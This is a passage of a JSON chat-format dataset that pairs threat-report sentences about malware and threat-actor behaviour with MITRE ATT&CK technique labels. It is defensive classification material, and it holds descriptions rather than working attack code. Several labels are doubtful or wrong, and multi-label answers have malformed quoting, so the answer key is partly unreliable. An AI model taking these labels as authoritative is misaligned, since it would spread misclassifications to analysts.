                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM has used the AES256 algorithm with a SHA1 derived key to decrypt exploit code."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has obtained and used open-source tools such as Mimikatz, gsecdump, and Windows Credential Editor."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "China Chopper's server component can list directory contents."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has obtained passwords and session tokens with the use of the Redline password stealer."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has consistently utilized legally purchased code signing certificates to sign their CARBANAK payloads"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Check for blocklisted usernames and computernames: The implant concatenates the username and computer it acquires from the infected endpoint's environment variables. This string is then checked against a list of blocklisted values to determine if the implant should continue execution or exit out. Check for blocklisted process names: The following process names are blocklisted and if found running on the system, the RAT implant will simply exit. The blocklist consists of processes belonging to Virtual Machine software (such as VMWare) and analysis tools (such as ProcessHacker etc"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1057 - Process Discovery', 'T1082 - System Information Discovery', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "down_new has the ability to identify the system volume information of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkComet can open an active screen of the victim’s machine and take control of the mouse and keyboard."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the event this is successful, the malware will use the following path to store any dropped files:  %COMMONPROGRAMFILES%\\services\\  In the event it is not successful, this alternative path will be used instead:  %APPDATA%\\microsoft\\mmc\\  Reaver.v2 proceeds to decrypt an embedded file using a simple XOR obfuscation routine"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman can execute PowerShell commands and has used PowerShell to execute a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ajax Security Team has used personalized spearphishing attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, Grandoreiro detects two virtual environments – VMWare via its special I/O port and Virtual PC via the vpcext instruction"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CookieMiner has retrieved iPhone text messages from iTunes phone backup files."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sideloading happens after the steps described earlier — the threat actor successfully exploited Log4j and downloaded mfeann.exe, LockDown.DLL, and c0000012.log."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DealersChoice uses HTTP for communication with the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SQLRat has used PowerShell to create a Meterpreter session."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowGoop has the ability to use PowerShell scripts to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can create a remote shell and run a given command."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group malware IndiaIndia obtains and sends to its C2 server information about the first network interface card’s configuration, including IP address, gateways, subnet mask, DHCP information, and whether WINS is available."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GuLoader has the ability to perform anti-VM and anti-sandbox checks using string hashing, the API call \"EnumWindows\", and checking for Qemu guest agent."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The plugins are variously designed to load other tools like Mimikatz or Carbanak, retrieve information from the victim machine, take screenshots, harvest credentials, retrieve browser histories, and more"
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Bookmark Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can migrate into another process using reflective DLL injection."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Along with the EDRPOU numbers, the backdoor collects proxy and email settings, including usernames and passwords, from the M.E.Doc application"
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to enumerate local network connections, including active TCP connections and other network statistics."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mosquito executes cmd.exe and uses a pipe to read the results and send back the output to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "There is a variant of RATANKBA that uses a PowerShell script instead of the traditional PE form."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used  in a macro to decode base64-encoded content contained in a dropper document attached to an email. The group has used certutil -decode to decode files on the victim’s machine when dropping ."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first shellcode decrypts a further shellcode block"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deletes rules in the Windows Defender Firewall exception list related to AnyDesk "
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ember Bear has sent spearphishing emails containing malicious links."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "queries Registry keys in preparation for setting Run keys to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use WMI queries to gather system information."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches for files on attached removable drives based on a predefined list of file extensions every five seconds."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant has the capability of gathering data from the victim’s system. The following information will be gathered and sent to the command and control server"
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collected file listings of all default Windows directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the .lnk file is initialized, it spawns a CMD process. This process executes a command to maliciously use the legitimate wmic.exe to initialize an XSL Script Processing (MITRE Technique T1220) attack. The attack executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain (qnccmvbrh.wilstonbrwsaq[.]pw"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has used exploits for Flash Player (CVE-2016-4117, CVE-2018-4878), Word (CVE-2017-0199), Internet Explorer (CVE-2020-1380 and CVE-2020-26411), and Microsoft Edge (CVE-2021-26411) for execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3 – A list of file extensions targeted for destruction by new variant of KillDisk component As well as being able to delete system files to make the system unbootable – functionality typical for such destructive trojans – the KillDisk variant detected in the electricity distribution companies also appears to contain some additional functionality specifically intended to sabotage industrial systems"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before exfiltration, Okrum's backdoor has used hidden files to store logs and outputs from backdoor commands."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This request is followed by a call to “GetisrunasAbById” to determine if the Trojan should use “runas” to execute the downloaded executable with elevated privileges, which would display the UAC dialog for the user to click"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has enumerated programs installed on an infected machine."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ZIP archive contains a RAR SFX which installs the malware and shows an empty PDF decoy"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Peirates can query the Kubernetes API for secrets."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Kubernetes List Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kazuar can overwrite files with random data before deleting them."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan sends an email to sahro.bella7[at]post.cz with sysscr.ops as the attachment, the string SCreen within the body and a subject with the unique system identifier via SMTPS from one of three previously used accounts. If the actor wishes to download an additional payload to the compromised host, they will respond by sending emails in the following steps. 3) The actor sends an email to trala.cosh2[at]post.cz with the unique system identifier as a subject with a secondary email account and credentials in ASCII hexadecimal format within the message body. This secondary email account is unknown at this time, so we will refer to it as \"secondary email account\" in future steps. 4) The actor sends an email to the secondary email account with the unique system identifier as a subject with a secondary payload attached with a filename of txt. Cannon opens the email with the correct subject and decodes the hexadecimal data in the body of the message to obtain the secondary email account. 7) The actor sends an email to trala.cosh2[at]post.cz with the unique system identifier as a subject with a file path that the Cannon Trojan will use to save the secondary payload. 8) Cannon logs into the secondary email account via POP3S looking for emails with a subject that matches the unique system identifier. Cannon opens the email with the correct subject and decodes the hexadecimal data in the body of the message to obtain the file path that it will use to move the downloaded auddevc.txt file. 12) Cannon moves the downloaded file to the specified path"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deletes the registry key HKCU\\Software\\Classes\\Applications\\rundll32.exe\\shell\\open Deletes the dropper components from the system"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery', 'T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "However the application is not a service of Yahoo or a legitimate product of McAfee, but a rogue application used by Pawn Storm. Clicking on the “Agree” button would give Pawn Storm an OAuth token and access to the targets’ mailbox. The group then gains access to the mailbox until the token gets revoked by the service provider or the target"
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Spalax, the threat actors used `rundll32.exe` to execute malicious installers."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NativeZone has, upon execution, displayed a message box that appears to be related to a Ukrainian electronic document management system."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoxCaon can collect the victim's MAC address by using the \"GetAdaptersInfo\" API."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JHUHUGIT has registered itself as a service to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hancitor has been delivered via phishing emails which contained malicious links."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth can be loaded through regsvr32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq creates a backdoor through which remote attackers can adjust token privileges."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cadelspy compresses all of the stolen data into a .cab file and uploads it to the attacker’s C&amp;C servers"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used various methods of process injection including hot patching."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When a document is found matching one of the extensions in the configuration,  uploads it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ASPXSpy is a Web shell. The ASPXTool version used by Threat Group-3390 has been deployed to accessible servers running Internet Information Services (IIS)."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A JHUHUGIT variant takes screenshots by simulating the user pressing the \"Take Screenshot\" key (VK_SCREENSHOT), accessing the screenshot saved in the clipboard, and converting it to a JPG image."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed using Base-64 encoded commands, including ping, net group, and net user to enumerate target network information."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In some cases, the backdoor is packaged together with the CVE-2013-5065 EoP exploit and heavily obfuscated. This makes the analysis more difficult"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Various implementations of CHOPSTICK communicate with C2 over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 accessed email accounts using Outlook Web Access."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs several anti-VM and sandbox checks on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HTTPBrowser's code may be obfuscated through structured exception handling and return-oriented programming."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Different colors show the three dropped modules: legit app (blue), launcher (green), and decompressor with the Trojan embedded (red) The initial module drops three files that are typical for Chinese-speaking actors: a legit Symantec pcAnywhere (IntgStat.exe) for DLL side loading, a .dll launcher (pcalocalresloader.dll) and the last-stage decompressor (thumb.db)"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, it will copy the first stage shellcode in memory and create a new thread with the shellcode running in it, the code responsible for this execution is shown in Figure 1"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has attempted to get users to open malicious files by sending spearphishing emails with attachments to victims."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to manage an automated queue of egress files and commands sent to its C2."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WINERACK can enumerate services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has created a scheduled task named \"Maintenance\" to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
